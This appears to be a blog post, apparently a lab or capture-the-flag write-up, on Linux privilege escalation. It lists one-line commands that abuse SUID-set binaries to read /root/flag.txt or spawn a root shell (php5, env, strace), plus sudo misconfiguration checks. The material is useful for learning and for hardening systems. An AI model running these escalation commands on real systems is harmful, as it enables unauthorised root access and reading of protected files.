
Part 1: SUID
SUID exploitation is quite common in Linux especially users misconfigure the important /bin and /sbin files. If you wanted to know more about SUID exploitation, you can refer to this article. To do a quick search on the SUID files on the system file, simply use the following command$ find / -perm /4000 2>/dev/null
The perm 4000 represents permission 4000 which is an SUID bit and we
are going to skip all ‘permission denied’ search by using
2>/dev/null/. Alternatively, you also can use mnemonic shortcuts.$ find / -perm /u=s 2>/dev/null

- arp
- cut
- base64
- tail
- ul
- shuf
- php5
- file
- tclsh8.5
- env
- diff
- strach
- rlwrap
- …… and anything you can find on GTFObins.
SUID 1: arp
Link: GTFObins-arp$ /usr/sbin/arp -v -f /root/flag.txt

SUID 2: cut
Link: GTFObins-cut$ /usr/bin/cut -d "" -f1 /root/flag.txt

SUID 3: base64
Link: GTFObins-base64$ /usr/bin/base64 /root/flag.txt | base64 --decode

SUID 4: tail
Link: GTFObins-tail$ /usr/bin/tail /root/flag.txt

SUID 5: ul
Link: GTFObins-ul$ /usr/bin/ul /root/flag.txt

SUID 6: shuf
Link: GTFObins-shufInstead of reading the flag file like the previous SUID, shuf is used to overwrite the file. This SUID command is quite useful to rewrite the configuration file which cannot be done by lower privileged users. No demo for this SUID.
SUID 7: php5
Link: GTFObins-php$ /usr/bin/php5 -r "pcntl_exec('/bin/sh');"

SUID 8: file
Link: GTFObins-file$ /usr/bin/file -m /root/flag.txt

SUID 9: tclsh8.5
Link: GTFObins-tclsh8.5$ /usr/bin/tclsh8.5
% exec cat /root/flag.txt

SUID 10: env
Link: GTFObins-env$ /usr/bin/env /bin/sh

SUID 11: diff
Link: GTFObins-diff$ /usr/bin/diff --line-format=%L /dev/null /root/flag.txt

SUID 12: strace
Link: GTFObins-strace$ /usr/bin/strace -o /dev/null /bin/sh

Part 2: Sudo
Another privilege escalation method is sudo command. Just small tips here, always check with the ./etc/sudoers or visudo command to check for any misconfiguration on user privilege. To check with the sudo command of a lower privilege user, simply punch in the following line.$ sudo -l

$ sudo /bin/bash

0 comments:
Post a Comment